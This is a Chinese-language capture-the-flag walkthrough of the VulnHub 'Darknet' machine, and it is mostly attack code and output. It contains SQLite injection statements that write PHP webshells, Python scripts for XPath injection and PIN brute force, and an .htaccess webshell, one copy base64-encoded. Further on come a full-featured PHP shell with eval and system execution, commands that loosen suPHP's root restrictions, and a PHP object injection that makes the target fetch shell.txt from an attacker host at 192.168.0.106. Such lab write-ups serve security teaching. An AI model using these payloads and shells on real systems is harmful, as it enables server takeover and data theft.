下载地址
注:只能使用vmbox打开,新增一张网卡修改为桥接模式
https://download.vulnhub.com/darknet/Darknet.rar
实战演练
查找靶机IP
扫描靶机开放了那些端口
首先,我们先看看80端口,浏览器打开,页面没有什么东西
查看页面源代码,没有发现什么有用的信息
爆破一下web目录,找到了access目录
下载下来,发现是一个apache的配置文件,里面配置了虚拟主机
添加这个域名解析
在浏览器输入这个域名就会发现进入到另外一个网站
随便输入一个用户名和密码,回显Fail
输入单引号,回显一串MD5
用sqlmap进行测试一下,可惜失败了
手动测试发现,用户名输入框输入'"1
,就会报错
推测sql可能是这样
SELECT * FROM users WHERE user='<INJECT>' and pass='<MD5 OF PASS>'
现在我们要绕过去就必须符合这样的sql构造
SELECT * FROM users WHERE user='a user' or '1' and pass='<MD5 OF PASS>'
现在我们就需要找一个数据库存在的用户,不然就会提示错误,还记得我们之前的apache的配置文件吗,里面有一个邮箱名,我们就用这个用户名试试
进入到一个sql页面
现在我用利用这个sql执行写shell进去,第一,我要找到可写目录,第二,我要知道根目录,所以现在需要爆破目录
根目录的问题在apache的配置文件已经有了/home/devnull/public_html/
,一般可写的目录是img目录
所以sql的构造语句是(注:有可能写不进去,这时候你就需要重新删除虚拟机,再新开,可能是sqlmap跑到虚拟机残废了)
ATTACH DATABASE '/home/devnull/public_html/img/phpinfo.php' as pwn; CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo(); ?>');
通过phpinfo,我们可以发现禁止的函数
再构造语句查询系统信息
ATTACH DATABASE '/home/devnull/public_html/img/files.php' as pwn; CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) VALUES ("<?php if($_GET['a'] == 'ls') { print_r(scandir($_GET['p'])); } if($_GET['a'] == 'cat') { print_r(readfile($_GET['p'])); } ?>");
我们找到了另外一个域名配置文件
查看配置文件
接着我们在/etc/hosts添加这条域名记录,在浏览器打开
看到一个网址http://signal8.darknet.com/contact.php?id=1
,输入单引号会显示不同页面,可能存在SQL注入,不过测试发现没有注入
爆破一下目录,找到了rebots.txt
找到了一个路径
上面的输入框没有注入,回到原点,我们试试fuzz id参数,字典来源于/usr/share/wordlists/wfuzz/Injections/All_attack.txt
测试发现,这个参数可能存在xpath注入
exp
import requests import string import sys entry_point = 'http://signal8.darknet.com/contact.php' payloads = { # . == current node and .. == parent node 'CurrentNode': '1 and starts-with(name(.),"{exfil}")=1', 'ParentNode': '1 and starts-with(name(..),"{exfil}")=1', } def w(t): sys.stdout.write(t) sys.stdout.flush() for payload_type, payload in payloads.iteritems(): w("\n{}: ".format(payload_type)) stop = False exfil = '' while not stop: stop = True for char in string.printable: r = requests.get( entry_point, params={ 'id': payload.format(exfil=(exfil + char)) }) if 'darknet.com' in r.text: exfil += char w(char) stop = False print "\nDone"
执行脚本,定XML具有以下结构//auth/user
确定后,我发现了一个名为“用户名”的新元素,但找不到名为“密码”的元素。再次查看登录表单后,我发现输入字段上的提示是西班牙语。使用字典进行爆破,我发现密码字段被命名为“ clave”。
import requests import string import sys entry_point = 'http://signal8.darknet.com/contact.php' payload = '1 and starts-with(name(//auth/user[id=1]/{word}),"{word}")=1' with open('/usr/share/wfuzz/wordlist/general/spanish.txt') as f: for word in f.readlines(): word = word.strip() r = requests.get(entry_point, params={'id': payload.format(word=word)}) if 'darknet.com' in r.text: print 'Found attribute: {word}'.format(word=word) root@kali:/tmp# python 2.py Found attribute: clave Found attribute: id
下面获取用户名和密码,我们找到用户名和密码组合为errorlevel
/ tc65Igkq6DF
。
root@kali:/tmp# cat 1.py import requests import string import sys entry_point = 'http://signal8.darknet.com/contact.php' payloads = { 'username': '1 and starts-with((//auth/user[id=1]/username),"{exfil}")=1', 'password': '1 and starts-with((//auth/user[id=1]/clave),"{exfil}")=1', } def w(t): sys.stdout.write(t) sys.stdout.flush() for payload_type, payload in payloads.iteritems(): w("\n{}: ".format(payload_type)) stop = False exfil = '' while not stop: stop = True for char in string.printable: r = requests.get( entry_point, params={ 'id': payload.format(exfil=(exfil + char)) }) if 'darknet.com' in r.text: exfil += char w(char) stop = False print "\nDone" root@kali:/tmp# python 1.py username: errorlevel password: tc65Igkq6DF Done
登录进去之后,有个ediit的页面超链接,过去之后是404
回去查看源代码,发现一个页面
浏览到ploy.php
,我遇到了文件上传和一系列复选框打勾的情况。
当你勾选4个密码长度的时候,才可以上传
exp
import requests import itertools import sys VALUES = [37, 12, 59, 58, 72, 17, 22, 10, 99] PIN = None s = requests.Session() def w(text): sys.stdout.write('\r' + text) sys.stdout.flush() # Need a valid session before we can continue. print('[+] Logging in') s.post('http://signal8.darknet.com/xpanel/index.php', data={ 'username': 'errorlevel', 'password': 'tc65Igkq6DF', }) print('[+] Bruting PIN Code ...') for c in itertools.permutations(VALUES, 4): w("{pin}".format(pin=', '.join(map(str, c)))) r = s.post('http://signal8.darknet.com/xpanel/ploy.php', files={'imag': open('test_image.png', 'rb')}, data={ 'checkbox[]': c, 'Action': 'Upload', }) if 'incorrecta' not in r.text: print('\n[+] Found pin: {pin}'.format(pin=', '.join(map(str, c)))) break root@kali:/tmp# python 3.py [+] Logging in [+] Bruting PIN Code ... 37, 10, 59, 17 [+] Found pin: 37, 10, 59, 17
所以密码是37, 10, 59, 17
下一步显然是尝试弄清楚我们如何能够利用此文件上载(如果有的话)。文件上传似乎接受大多数以.php结尾的上传。上载PHP脚本将返回错误Formato invalido!像图片(或几乎所有没有用的东西)之类的东西响应了Subida exitosa!
我爆破出了一个uploads/
目录,最终,我遇到了一些涉及.htaccess
文件的PHP文件上传绕过技术。前提是,如果可以写入/覆盖文件夹.htaccess
,则可以在文件夹中webshell。唯一真正的要求是VirtualHost配置必须允许.htaccess
读取文件。由于我已经下载了signal8.darknet.com的配置文件,因此我很快就能看到将AllowOverride
其设置为All
。
#.htaccess # <!-- Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web <Files ~ "^\.ht"> # Uncomment the line below for Apache2.4 and newer # Require all granted Order allow,deny Allow from all </Files> # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ###### SHELL ###### <?php echo "--><form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>\n<pre>";passthru($_GET['c']." 2>&1");echo "</pre>"; ?>
exp
import requests import sys import os.path as path s = requests.Session() def w(text): sys.stdout.write('\r' + text) sys.stdout.flush() print('[+] Logging in ...') s.post('http://signal8.darknet.com/xpanel/index.php', data={ 'username': 'errorlevel', 'password': 'tc65Igkq6DF', }) print('[+] Uploading : {file}'.format(file=sys.argv[1])) r = s.post('http://signal8.darknet.com/xpanel/ploy.php', files={'imag': open(sys.argv[1], 'rb')}, data={ 'checkbox[]': [37, 10, 59, 17], 'Action': 'Upload', }) if 'Subida exitosa' in r.text: print('[+] Upload successful! Try: http://signal8.darknet' '.com/xpanel/uploads/{file}'.format(file=path.basename(sys.argv[1]))) elif 'Formato invalido' in r.text: print('[!] Upload failed. Invalid format.') else: print('[!] Upload failed, unknown error.') root@kali:/tmp# python 4.py .htaccess [+] Logging in ... [+] Uploading : .htaccess [+] Upload successful! Try: http://signal8.darknet.com/xpanel/uploads/.htaccess
由于执行函数被禁止了,所以执行不了
换另外一个思路,base64
# <!-- Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web <Files ~ "^\.ht"> # Uncomment the line below for Apache2.4 and newer # Require all granted Order allow,deny Allow from all </Files> # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ###### SHELL ###### --><?php eval(base64_decode("QCRhY3Rpb24gPSAkX1JFUVVFU1RbJ2FjdGlvbiddO0AkcGF0aCA9ICRfUkVRVUVTVFsncGF0aCddO2Z1bmN0aW9uIGZpbGVfcnd4KCRmaWxlKXsgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmaWxlKSksIC00KTsgJHJ3eCA9IFsnLS0tJywgJy0teCcsICctdy0nLCAnLXd4JywgJ3ItLScsICdyLXgnLCAncnctJywgJ3J3eCddOyAkdHlwZSA9IGlzX2RpcigkZmlsZSkgPyAnZCcgOiAnLSc7ICRvd25lciA9ICRwZXJtc1sxXTsgJGdyb3VwID0gJHBlcm1zWzJdOyAkcHVibGljID0gJHBlcm1zWzNdOyByZXR1cm4gJHR5cGUgLiAkcnd4WyRvd25lcl0gLiAkcnd4WyRnc**1cF0gLiAkcnd4WyRwdWJsaWNdI**gJyAnI**gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmaWxlKSlbJ25hbWUnXTt9ZnVuY3Rpb24gbWVudSgpeyBwcmludCAnPHByZT4nI**gZ2V0X2N1cnJlbnRfdXNlcigpI**gJyBAICcgLiBwaHBfdW5hbWUoKSAuIFBIUF9FT0wgLiAnKG1lbnUpIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249bHMmcGF0aD0vPmxzPC9hPiB8JyAuICcgPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1jYXQmcGF0aD0vZXRjL3Bhc3N3ZD5jYXQ8L2E+IHwnI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPXVwbG9hZD51cGxvYWQ8L2E+IHwnI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPXBocGluZm8+cGhwaW5mbzwvYT4gfCcgLiAnIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249aW5mbz5pbmZvPC9hPiB8JyAuICcgPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1ldmFsJnNyYz1wcmludCtwaHBfdW5hbWUlMjglMjklM0I+ZXZhbDwvYT4gfCcgLiAnIDxhIGhyZWY9JyAuICRfU0VSVkVSWydQSFBfU0VMRiddI**gJz9hY3Rpb249ZXhlYyZjbWQ9aWQ+ZXhlYzwvYT4nI**gJzwvcHJlPic7fXN3aXRjaCAoJGFjdGlvbikgeyBjYXNlICdscyc6ICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pOyBtZW51KCk7IGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgeyAkbG9jYXRpb24gPSAkcGF0aCAuICRmaWxlOyBpZiAoaXNfZGlyKCRsb2NhdGlvbikpIHsgJHVybF9hY3Rpb24gPSAnbHMnOyAkbG9jYXRpb24gPSBydHJpbSgkbG9jYXRpb24sICcvJykgLiAnLyc7IH0gZWxzZSB7ICR1cmxfYWN0aW9uID0gJ2NhdCc7IH0gJHdyaXRhYmxlID0gaXNfd3JpdGFibGUoJGxvY2F0aW9uKSA/ICdncmVlbicgOiAncmVkJzsgJHJlYWRhYmxlID0gaXNfcmVhZGFibGUoJGxvY2F0aW9uKSA/ICdncmVlbicgOiAncmVkJzsgaWYgKCRyZWFkYWJsZSA9PSAnZ3JlZW4nIGFuZCAhaXNfZGlyKCRsb2NhdGlvbikpICRkb3dubG9hZCA9ICc8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPWRvd25sb2FkJnBhdGg9JyAuIHVybGVuY29kZSgkbG9jYXRpb24pI**gJz5Eb3dubG9hZDwvYT48L3NwYW4+JzsgZWxzZSAkZG93bmxvYWQgPSAnRG93bmxvYWQnOyBwcmludCAnPHByZT4nOyBwcmludCAnPHNwYW4gc3R5bGU9XCdjb2xvcjonI**gJHdyaXRhYmxlI**gJ1wnPldyaXRlPC9zcGFuPiAnI**gJzxzcGFuIHN0eWxlPVwnY29sb3I6JyAuICRyZWFkYWJsZSAuICdcJz5SZWFkPC9zcGFuPiB8ICcgLiAkZG93bmxvYWQgLiAnIHwgJyAuIGZpbGVfcnd4KCRsb2NhdGlvbikgLiAnIHwgJyAuIGRhdGUoJ00gZCBZIEg6aTpzJywgZmlsZWN0aW1lKCRsb2NhdGlvbikpI**gJyA8YSBocmVmPScgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPScgLiAkdXJsX2FjdGlvbiAuICcmcGF0aD0nI**gdXJsZW5jb2RlKCRsb2NhdGlvbikgLiAnPicgLiAkbG9jYXRpb24gLiAnPC9hPic7IHByaW50ICc8L3ByZT4nOyB9IHJldHVybjsgY2FzZSAnY2F0JzogJGZpbGUgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7IG1lbnUoKTsgcHJpbnQgJzxwcmU+JyAuICRmaWxlI**gJzwvcHJlPic7IHJldHVybjsgY2FzZSAndXBsb2FkJzogQCRmaWxlID0gJF9GSUxFU1snZmlsZSddOyAkbWVzc2FnZSA9IG51bGw7IGlmICgkZmlsZSkgeyBtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVbJ3RtcF9uYW1lJ10sICRwYXRoKTsgJG1lc3NhZ2UgPSAnVXBsb2FkZWQgZmlsZSB0bzogPGEgaHJlZj0nI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj0nI**gJ2NhdCZwYXRoPScgLiB1cmxlbmNvZGUoJHBhdGgpI**gJz4nI**gJHBhdGggLiAnPC9hPic7IH0gbWVudSgpOyBwcmludCAnPGZvcm0gYWN0aW9uPSInI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj11cGxvYWQiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+ICcgLiAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiPicgLiAnRnVsbCBEZXN0aW5hdGlvbiBQYXRoICYgRmlsZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGgiPicgLiAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7IHByaW50ICRtZXNzYWdlOyByZXR1cm47IGNhc2UgJ2Rvd25sb2FkJzogaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOyBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IEJpbmFyeScpOyBoZWFkZXIoJ0NvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInI**gYmFzZW5hbWUoJHBhdGgpI**gJyInKTsgZWNobyByZWFkZmlsZSgkcGF0aCk7IHJldHVybjsgY2FzZSAncGhwaW5mbyc6IG1lbnUoKTsgcGhwaW5mbygpOyByZXR1cm47IGNhc2UgJ2luZm8nOiBtZW51KCk7IHByaW50ICc8cHJlPic7IHByaW50ICdFbnZpc**ubWVudCcgLiBQSFBfRU9MOyBwcmludCAnQ3VycmVudCBVc2VyOiAnI**gZ2V0X2N1cnJlbnRfdXNlcigpI**gUEhQX0VPTDsgcHJpbnQgJ1BIUCBWZXJzaW9uOiAnI**gcGhwdmVyc2lvbigpI**gUEhQX0VPTDsgcHJpbnQgJ0xvYWRlZCBDb25maWc6ICcgLiBwaHBfaW5pX2xvYWRlZF9maWxlKCkgLiBQSFBfRU9MOyBwcmludCAnUEhQIFNBUEk6ICcgLiBwaHBfc2FwaV9uYW1lKCkgLiBQSFBfRU9MOyBwcmludCAnVW5hbWU6ICcgLiBwaHBfdW5hbWUoKSAuIFBIUF9FT0w7IHByaW50ICcnI**gUEhQX0VPTDsgcHJpbnQgJ0NvbmZpZ3VyYXRpb24nI**gUEhQX0VPTDsgcHJpbnQgJ09wZW4gQmFzZWRpcjogJyAuIGluaV9nZXQoJ29wZW5fYmFzZWRpcicpI**gUEhQX0VPTDsgcHJpbnQgJ0Rpc2FibGUgQ2xhc3NlczogJyAuIGluaV9nZXQoJ2Rpc2FibGVfY2xhc3NlcycpI**gUEhQX0VPTDsgcHJpbnQgJ0Rpc2FibGUgRnVuY3Rpb25zOiAnI**gaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSAuIFBIUF9FT0w7IHByaW50ICdVUkwgZ**wZW46ICcgLiBpbmlfZ2V0KCdhbGxvd191cmxfZ**wZW4nKSAuIFBIUF9FT0w7IHByaW50ICdVUkwgSW5jbHVkZTogJyAuIGluaV9nZXQoJ2FsbG93X3VybF9pbmNsdWRlJykgLiBQSFBfRU9MOyBwcmludCAnRmlsZSBVcGxvYWRzOiAnI**gaW5pX2dldCgnZmlsZV91cGxvYWRzJykgLiBQSFBfRU9MOyBwcmludCAnPC9wcmU+JzsgcmV0dXJuOyBjYXNlICdldmFsJzogQCRzcmMgPSAkX1JFUVVFU1RbJ3NyYyddOyBtZW51KCk7IHByaW50ICc8Z**ybSBhY3Rpb249IicgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/YWN0aW9uPWV2YWwiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+ICcgLiAnUEhQIENvZGU6IDxicj48dGV4dGFyZWEgbmFtZT0ic3JjIiByb3dzPSIxMCIgY29scz0iNzAiPicgLiAkc3JjI**gJzwvdGV4dGFyZWE+PGJyPicgLiAnPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV2YWx1YXRlIFBIUCI+PC9mb3JtPic7IGlmICghZW1wdHkoJHNyYykpIHsgcHJpbnQgJzxwcmU+RXZhbCBPdXRwdXQ6PGJyPic7IGV2YWwoJHNyYyk7IHByaW50ICc8L3ByZT4nOyB9IHJldHVybjsgY2FzZSAnZXhlYyc6IEAkY21kID0gJF9SRVFVRVNUWydjbWQnXTsgbWVudSgpOyBwcmludCAnPGZvcm0gYWN0aW9uPSInI**gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2FjdGlvbj1leGVjIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPiAnI**gJ1N5c3RlbSBDb21tYW5kOiA8YnI+PHRleHRhcmVhIG5hbWU9ImNtZCIgc**3cz0iMTAiIGNvbHM9IjcwIj4nI**gJGNtZCAuICc8L3RleHRhcmVhPjxicj4nI**gJzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSdW4iPjwvZ**ybT4nOyBpZiAoIWVtcHR5KCRjbWQpKSB7IHByaW50ICc8cHJlPkNvbW1hbmQgT3V0cHV0Ojxicj4nOyBpZiAoY2xhc3NfZXhpc3RzKCdSZWZsZWN0aW9uRnVuY3Rpb24nKSkgeyAkZnVuY3Rpb24gPSBuZXcgUmVmbGVjdGlvbkZ1bmN0aW9uKCdzeXN0ZW0nKTsgJGZ1bmN0aW9uLT5pbnZva2UoJGNtZCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2NhbGxfdXNlcl9mdW5jX2FycmF5JykpIHsgY2FsbF91c2VyX2Z1bmNfYXJyYXkoJ3N5c3RlbScsIFskY21kXSk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2NhbGxfdXNlcl9mdW5jJykpIHsgY2FsbF91c2VyX2Z1bmMoJ3N5c3RlbScsICRjbWQpOyB9IGVsc2UgeyBzeXN0ZW0oJGNtZCk7IH0gcHJpbnQgJzwvcHJlPic7IH0gcmV0dXJuOyBkZWZhdWx0OiBtZW51KCk7IHJldHVybjt9"));
最终,我发现使用suPHP作为已加载的模块。这基本上意味着PHP脚本将以文件所有者的身份运行。因此,以该理论为前提,理智地假定由于errorlevel
在用户主目录中拥有PHP文件,因此我也被视为该用户。
无论如何,稍后再进行一些枚举,我在中发现了更多PHP脚本/var/www
。这些文件归拥有root
,意味着如果有任何漏洞,我可以有效地扎根!
由于它们位于中/var/www
,因此我可以浏览到VM的IP地址并运行这些脚本。调用sec.php
脚本导致服务器返回HTTP 500错误。
#sec.php <?php require "Classes/Test.php"; require "Classes/Show.php"; if(!empty($_POST['test'])){ $d=$_POST['test']; $j=unserialize($d); echo $j; } ?> #Test.php <?php class Test { public $url; public $name_file; public $path; function __destruct(){ $data=file_get_contents($this->url); $f=fopen($this->path."/".$this->name_file, "w"); fwrite($f, $data); fclose($f); chmod($this->path."/".$this->name_file, 0644); } } ?> #show.php <?php class Show { public $woot; function __toString(){ return "Showme"; } function Pwnme(){ $this->woot="ROOT"; } } ?>
一个PHP对象注入的教科书示例!我继续Show
通过将类复制到新的PHP文件,实例化Show
该类并serialize()
在其上运行该函数,输出输出来序列化该类的实例。
// Source code for poishow.php <?php class Show { public $woot; function __toString(){ return "Showme"; } function Pwnme(){ $this->woot="ROOT"; } } print_r(serialize(new Show())); root@kali:/tmp# php show.php // Source code for poishow.php O:4:"Show":1:{s:4:"woot";N;}
我现在可以使用一些东西来尝试测试该漏洞。对于Show
该类,我们将利用__toString()
在sec.php
调用echo
包含未序列化对象的变量时定义的方法。我编写了另一个python帮助程序,以将序列化的对象sec.php
作为POST参数发送.
import requests OBJECT = """O:4:"Show":1:{s:4:"woot";N;}""" print('[+] Exploiting the PHP Object Injection Bug') r = requests.post('http://192.168.0.100/sec.php', data={'test': OBJECT}) print(r.status_code) print(r.text)
运行此命令会使服务器仍然响应HTTP 500错误。
嗯 我在这里停留了相当长的时间,试图弄清楚是否可以在某些地方读取某种形式的日志。在某个阶段,我偶然/etc/suphp
发现它的配置文件是可写的。
root@kali:~/Downloads# cat suphp.conf # <!-- Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web <Files ~ "^\.ht"> # Uncomment the line below for Apache2.4 and newer # Require all granted Order allow,deny Allow from all </Files> # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ###### SHELL ###### -->[global] ;Path to logfile logfile=/var/log/suphp/suphp.log ;Loglevel loglevel=info ;User Apache is running as webserver_user=www-data ;Path all scripts have to be in docroot=/var/www:${HOME}/public_html ;Path to chroot() to before executing script ;chroot=/mychroot ; Security options allow_file_group_writeable=false allow_file_others_writeable=false allow_directory_group_writeable=false allow_directory_others_writeable=false ;Check wheter script is within DOCUMENT_ROOT check_vhost_docroot=true ;Send minor error messages to browser errors_to_browser=false ;PATH environment variable env_path="/bin:/usr/bin" ;Umask to set, specify in octal notation umask=0077 ; Minimum UID min_uid=100 ; Minimum GID min_gid=100 [handlers] ;Handler for php-scripts application/x-httpd-suphp="php:/usr/bin/php-cgi" ;Handler for CGI-scripts x-suphp-cgi="execute:!self"
我意识到配置文件中还有两个有趣的配置选项。
; Minimum UID
min_uid=100
; Minimum GID
min_gid=100
还记得我们尝试访问的PHP脚本归谁所有root
吗?事实证明,这是suPHP的一项安全功能,可以防止具有较高权限的脚本无法运行。因此,我再次修改配置文件以将其替换为值,0
并上传它以覆盖原始文件。
走到这里,sec.php还是显示500,于是我重新删除虚拟机,用另外一种方法进去,回到888域名重新写shell
ATTACH DATABASE '/home/devnull/public_html/img/shell.php' as pwn; CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) values ("<?php error_reporting(E_ALL); ini_set('display_errors',1); ini_set('disable_functions',0); echo(shell_exec($_GET['c']));?>");
但是请注意我们现在如何获得错误消息!
在网上进行了一些进一步的研究后,我发现了一个提示,即可以将新的php.ini文件放入php文件加载目录(在这种情况下,是/ home / devnull / public_html / img /)。 。
因此,我尝试在此处放置一个空的php.ini:
ATTACH DATABASE '/home/devnull/public_html/img/php.ini' as pwn; CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) values ("");
用shell运行这四步
cp /etc/suphp/suphp.conf /tmp cp /tmp/suphp.conf /tmp/suphp.conf_bak sed -i -e 's/min_uid=100/min_uid=0/g' /tmp/suphp.conf sed -i -e 's/min_gid=100/min_gid=0/g' /tmp/suphp.conf cp /tmp/suphp.conf /etc/suphp/suphp.conf
最后sec.php显示空白
使用脚本也成功
现在我们开始构造payload
#shell.txt <?php @$action = $_REQUEST['action']; @$path = $_REQUEST['path']; function file_rwx($file) { $perms = substr(sprintf('%o', fileperms($file)), -4); $rwx = ['---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx']; $type = is_dir($file) ? 'd' : '-'; $owner = $perms[1]; $group = $perms[2]; $public = $perms[3]; return $type . $rwx[$owner] . $rwx[$group] . $rwx[$public] . ' ' . posix_getpwuid(fileowner($file))['name']; } function menu() { print '<pre>' . get_current_user() . ' @ ' . php_uname() . PHP_EOL . '(menu) <a href=' . $_SERVER['PHP_SELF'] . '?action=ls&path=/>ls</a> |' . ' <a href=' . $_SERVER['PHP_SELF'] . '?action=cat&path=/etc/passwd>cat</a> |' . ' <a href=' . $_SERVER['PHP_SELF'] . '?action=upload>upload</a> |' . ' <a href=' . $_SERVER['PHP_SELF'] . '?action=phpinfo>phpinfo</a> |' . ' <a href=' . $_SERVER['PHP_SELF'] . '?action=info>info</a> |' . ' <a href=' . $_SERVER['PHP_SELF'] . '?action=eval&src=print+php_uname%28%29%3B>eval</a> |' . ' <a href=' . $_SERVER['PHP_SELF'] . '?action=exec&cmd=id>exec</a>' . '</pre>'; } switch ($action) { case 'ls': $path = $_GET['path']; $files = array_diff(scandir($path), ['.', '..']); menu(); foreach ($files as $file) { $location = $path . $file; if (is_dir($location)) { $url_action = 'ls'; $location = rtrim($location, '/') . '/'; } else { $url_action = 'cat'; } $writable = is_writable($location) ? 'green' : 'red'; $readable = is_readable($location) ? 'green' : 'red'; if ($readable == 'green' and !is_dir($location)) $download = '<a href=' . $_SERVER['PHP_SELF'] . '?action=download&path=' . urlencode($location) . '>Download</a></span>'; else $download = 'Download'; print '<pre>'; print '<span style=\'color:' . $writable . '\'>Write</span> ' . '<span style=\'color:' . $readable . '\'>Read</span> | ' . $download . ' | ' . file_rwx($location) . ' | ' . date('M d Y H:i:s', filectime($location)) . ' <a href=' . $_SERVER['PHP_SELF'] . '?action=' . $url_action . '&path=' . urlencode($location) . '>' . $location . '</a>'; print '</pre>'; } return; case 'cat': $file = file_get_contents($path); menu(); print '<pre>' . $file . '</pre>'; return; case 'upload': @$file = $_FILES['file']; $message = null; if ($file) { move_uploaded_file($file['tmp_name'], $path); $message = 'Uploaded file to: <a href=' . $_SERVER['PHP_SELF'] . '?action=' . 'cat&path=' . urlencode($path) . '>' . $path . '</a>'; } menu(); print '<form action="' . $_SERVER['PHP_SELF'] . '?action=upload" method="post" enctype="multipart/form-data"> ' . '<input type="file" name="file">' . 'Full Destination Path & File: <input type="text" name="path">' . '<input type="submit" value="Upload"></form>'; print $message; return; case 'download': header('Content-Type: application/octet-stream'); header('Content-Transfer-Encoding: Binary'); header('Content-disposition: attachment; filename="' . basename($path) . '"'); echo readfile($path); return; case 'phpinfo': menu(); phpinfo(); return; case 'info': menu(); print '<pre>'; print 'Environment' . PHP_EOL; print 'Current User: ' . get_current_user() . PHP_EOL; print 'PHP Version: ' . phpversion() . PHP_EOL; print 'Loaded Config: ' . php_ini_loaded_file() . PHP_EOL; print 'PHP SAPI: ' . php_sapi_name() . PHP_EOL; print 'Uname: ' . php_uname() . PHP_EOL; print '' . PHP_EOL; print 'Configuration' . PHP_EOL; print 'Open Basedir: ' . ini_get('open_basedir') . PHP_EOL; print 'Disable Classes: ' . ini_get('disable_classes') . PHP_EOL; print 'Disable Functions: ' . ini_get('disable_functions') . PHP_EOL; print 'URL fopen: ' . ini_get('allow_url_fopen') . PHP_EOL; print 'URL Include: ' . ini_get('allow_url_include') . PHP_EOL; print 'File Uploads: ' . ini_get('file_uploads') . PHP_EOL; print '</pre>'; return; case 'eval': @$src = $_REQUEST['src']; menu(); print '<form action="' . $_SERVER['PHP_SELF'] . '?action=eval" method="post" enctype="multipart/form-data"> ' . 'PHP Code: <br><textarea name="src" rows="10" cols="70">' . $src . '</textarea><br>' . '<input type="submit" value="Evaluate PHP"></form>'; if (!empty($src)) { print '<pre>Eval Output:<br>'; eval($src); print '</pre>'; } return; case 'exec': @$cmd = $_REQUEST['cmd']; menu(); print '<form action="' . $_SERVER['PHP_SELF'] . '?action=exec" method="post" enctype="multipart/form-data"> ' . 'System Command: <br><textarea name="cmd" rows="10" cols="70">' . $cmd . '</textarea><br>' . '<input type="submit" value="Run"></form>'; if (!empty($cmd)) { print '<pre>Command Output:<br>'; if (class_exists('ReflectionFunction')) { $function = new ReflectionFunction('system'); $function->invoke($cmd); } elseif (function_exists('call_user_func_array')) { call_user_func_array('system', [$cmd]); } elseif (function_exists('call_user_func')) { call_user_func('system', $cmd); } else { system($cmd); } print '</pre>'; } return; default: menu(); return; }
#show.php
<?php class Show { public $woot; function __toString(){ return "Showme"; } function Pwnme(){ $this->woot="ROOT"; } } class Test { public $url; public $name_file; public $path; function __destruct(){ # Commented out as this will run when this script # also finishes :D #$data=file_get_contents($this->url); #$f=fopen($this->path."/".$this->name_file, "w"); #fwrite($f, $data); #fclose($f); #chmod($this->path."/".$this->name_file, 0644); } } $test = new Test(); $test->url = 'http://192.168.0.106/shell.txt'; $test->name_file = 'shell.php'; $test->path = '/var/www'; print_r(serialize([$test, new Show()])); root@kali:/var/www/html# php show.php 